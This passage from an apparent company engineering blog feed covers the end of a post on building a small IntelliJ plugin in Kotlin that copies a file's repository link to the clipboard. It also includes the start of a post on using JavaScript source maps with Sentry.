&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next was adding functionality. Again, the Intellij plugin documentation looks very thorough but
finding anything useful in there is like finding a needle in a haystack. A smattering of stack
overflow, random blog posts, and exploring autocomplete in Intellij finally got me the correct code
to determine the relative path of the file to our git root. This isn’t the finest code ever
produced, but given that all our developers have the same environment, it shouldn’t throw any
exceptions for them anytime soon.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;LangDataKeys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;VIRTUAL_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)?.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;canonicalPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;orEmpty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vcsRoot&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;VcsUtil&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getVcsRootFor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;LangDataKeys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;VIRTUAL_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vcsRoot&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relativePath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;VcsFileUtil&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRelativeFilePath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vcsRoot&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m not entirely sure how you’re supposed to figure this out without just following around random
code examples on the internet and noting useful looking classes along the way. Then again, sometimes
that feels like an apt description of an average day’s work :)
&lt;br /&gt;&lt;br /&gt;
The next step was figuring out how to manipulate the system clipboard in Kotlin. Googling it didn’t
give any useful results except for Android. Unfortunately the large Kotlin user base there means
most searches are biased towards Android results. Like many JVM-based languages though, Kotlin also
has access to standard java imports. There are many java solutions to this problem on the internet,
and they only need a small modification to account for Kotlin syntax.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Toolkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getDefaultToolkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;systemClipboard&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setContents&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;StringSelection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://yext.internal.repo.url/+/refs/heads/master/&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relativePath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;boring-plugin-stuff&quot;&gt;Boring Plugin Stuff&lt;/h2&gt;

&lt;p&gt;The Intellij index is incredibly powerful and a good chunk of why users love it. However, that means
the default is for actions to be unavailable until indexing is complete. To ignore this restriction,
you have to make your action DumbAware. I guess my plugin is pretty simple but I can’t help but feel
a little insulted. I also struggled a surprising amount with getting the icon in the right place.
Both the &lt;a href=&quot;https://medium.com/@nadavfima/writing-your-first-intellij-ide-plugin-with-kotlin-d36fe65be87f&quot;&gt;Medium post&lt;/a&gt;
from before and the Intellij documentation specified separate locations, neither of which worked for
me.
&lt;br /&gt;&lt;br /&gt;
Also, after it was shared, a new version of Intellij came out and those who upgraded reported it
didn’t work. That’s because I had foolishly supplied an upper bound for compatible versions. To fix
this, in &lt;em&gt;gradle.properties&lt;/em&gt;, I put no value for &lt;em&gt;pluginUntilBuild&lt;/em&gt;. Then I set
&lt;em&gt;updateSinceUntilBuild = false&lt;/em&gt; in &lt;em&gt;build.gradle.kts&lt;/em&gt;, and removed &lt;em&gt;untilBuild(pluginUntilBuild)&lt;/em&gt;
from patchXml in the same file. There were several suggestions on the internet on how to accomplish
this, but this is what ended up working for me.&lt;/p&gt;

&lt;h2 id=&quot;the-final-implementation&quot;&gt;The Final Implementation&lt;/h2&gt;

&lt;p&gt;This class implements the plugin functionality&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.yext.intellij.jsharps&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.intellij.ide.plugins.PluginManager&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.intellij.openapi.actionSystem.AnActionEvent&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.intellij.openapi.actionSystem.LangDataKeys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.intellij.openapi.project.DumbAwareAction&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.intellij.vcsUtil.VcsFileUtil&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;com.intellij.vcsUtil.VcsUtil&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;java.awt.Toolkit&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;java.awt.datatransfer.StringSelection&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;GitClipCopyAction&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DumbAwareAction&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;e:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AnActionEvent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;presentation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEnabledAndVisible&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;actionPerformed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;e:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AnActionEvent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;LangDataKeys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;VIRTUAL_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)?.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;canonicalPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;orEmpty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vcsRoot&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;VcsUtil&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getVcsRootFor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;LangDataKeys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;VIRTUAL_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vcsRoot&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relativePath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;VcsFileUtil&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRelativeFilePath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vcsRoot&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;Toolkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getDefaultToolkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;systemClipboard&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setContents&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;nc&quot;&gt;StringSelection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://yext.internal.repo.url/+/refs/heads/master/&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relativePath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
                &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And this handles declaring the action&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;yext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;intellij&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jsharps&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;GitClipCopy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Git&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Clip&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Copy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;JSharps&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;o&quot;&gt;&amp;lt;!--&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Product&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plugin&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compatibility&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requirements&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;!--&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;//www.jetbrains.org/intellij/sdk/docs/basics/getting_started/plugin_compatibility.html --&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;depends&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;intellij&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;modules&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;depends&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;actions&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;my-group&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
          &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;separator&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
          &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;action&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;com.yext.intellij.jsharps.GitClipCopyAction&quot;&lt;/span&gt;
                &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;=&quot;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;yext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;intellij&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jsharps&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;GitClipCopyAction&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; text=&quot;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Copy&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Gerrit&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Link&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;
                description=&quot;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Copy&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Link&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;
                icon=&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;icons&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clip_icon&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;png&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&amp;lt;/action&amp;gt;
          &amp;lt;add-to-group group-id=&quot;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;EditorTabPopupMenu&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; anchor=&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;actions&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idea&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As expected, this plugin has a very small footprint, and the majority of it is telling Intellij how
and where to render the action.
After running &lt;em&gt;./gradlew buildPlugin&lt;/em&gt; the plugin zip was ready to go! Here, the Intellij
documentation was straightforward and installation was no problem.&lt;/p&gt;

&lt;h2 id=&quot;future-enhancements&quot;&gt;Future Enhancements&lt;/h2&gt;

&lt;p&gt;This is a great proof of concept, and I’ve already gotten some feedback and generated a few ideas
myself:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Customizable repo format — for distribution or just to remove magic strings.&lt;/li&gt;
  &lt;li&gt;Line numbers if you click in the gutter or something&lt;/li&gt;
  &lt;li&gt;Allowing it to link to specific refs.&lt;/li&gt;
  &lt;li&gt;Hot keys&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h2&gt;

&lt;p&gt;Several of my coworkers have let me know that this plugin has improved their workflow, which is all I ever wanted out of it. Developing an Intellij plugin was straightforward and an unexpected avenue for improving quality-of-life. Now I’m eyeing Firefox extensions to make similar small but impactful improvements in the web portion of my life.&lt;/p&gt;

</description>
                <pubDate>Tue, 26 Oct 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/writing-a-simple-intellij-plugin</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/writing-a-simple-intellij-plugin</guid>
            </item>
        
            <item>
                <title>Configuring Sentry with JavaScript Source Maps</title>
                
                    <dc:creator>jwoglom</dc:creator>
                
                <description>&lt;p&gt;&lt;a href=&quot;https://sentry.io&quot;&gt;Sentry&lt;/a&gt; is an essential part of a Yext engineer’s workflow.
Whenever an error occurs in one of our 1,000+ microservices, Sentry helps our engineers
understand what’s wrong, so they can make fixes quickly.&lt;/p&gt;

&lt;p&gt;Sentry is an open-source system which serves as a pipeline for errors from many different systems.
When an application experiences an error, it will report it to the owning team’s Sentry board.
Similar errors are grouped together into &lt;em&gt;issues&lt;/em&gt;, and when new issues are identified our tooling will
send a Slack message to the team who owns the service experiencing a problem so they can resolve it.&lt;/p&gt;

&lt;p&gt;When viewing an issue, Sentry shows detailed information about the context in which the issue occurred.
This usually includes some form of exception traceback, depending on what is supported by
the programming language.&lt;/p&gt;

&lt;p&gt;While we primarily use Sentry as a tool for tracking backend application bugs, it works on
the frontend too!
The &lt;a href=&quot;https://hitchhikers.yext.com/tracks/knowledge-graph/kg110-navigating-knowledge-graph/01-navigating-the-platform/&quot;&gt;Yext Platform&lt;/a&gt; includes the Sentry JavaScript SDK, which reports
frontend JavaScript errors to our Sentry instance.
This allows our engineers to view frontend bugs within the same interface as as those on the backend.&lt;/p&gt;

&lt;p&gt;This comes with one major complication, however. JavaScript tracebacks in Sentry are more or less unreadable.
This is because the tracebacks are generated from minified JavaScript files, designed to be served in production
for end-users of Yext.
Since minified JavaScript is intended for machines, not humans, it doesn’t contain helpful niceties like
readable variable names, indentation, or comments.
For example:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-js-pre-sourcemap.png&quot; alt=&quot;An unreadable, minifed JavaScript traceback inside Sentry&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to actually make sense of a minified code traceback like this, &lt;strong&gt;source maps&lt;/strong&gt; are essential.&lt;/p&gt;

&lt;h2 id=&quot;whats-a-source-map&quot;&gt;What’s a source map?&lt;/h2&gt;

&lt;p&gt;Source maps are so named because they &lt;em&gt;map&lt;/em&gt; minified JavaScript files to their non-minified counterparts.
They essentially serve as a translation table which can be used in tandem with a minified JavaScript file
to derive the original, unobfuscated source code.&lt;/p&gt;

&lt;p&gt;Minified JavaScript files typically have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.min.js&lt;/code&gt; file extension, and can inform developer tooling of
the presence of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.js.map&lt;/code&gt; source map file with a comment such as:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;//# sourceMappingURL=entitysearchstorm.js.map&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Developer tooling which understands source maps interprets that directive as a command to fetch the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.js.map&lt;/code&gt; file
and then parse it alongside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.min.js&lt;/code&gt; file to map minified source code to unminified code.
Source maps are ubiquitous across the frontend developer tooling ecosystem, with support in Chrome and Firefox’s
DevTools in addition to tools like Sentry.&lt;/p&gt;

&lt;p&gt;Specifically, Sentry uses source maps to make its JavaScript tracebacks more readable, by augmenting each frame
in the stack trace with the unminified source code present in that area.&lt;/p&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;If source maps are so well supported across developer tooling, then why write this blog post?&lt;/p&gt;

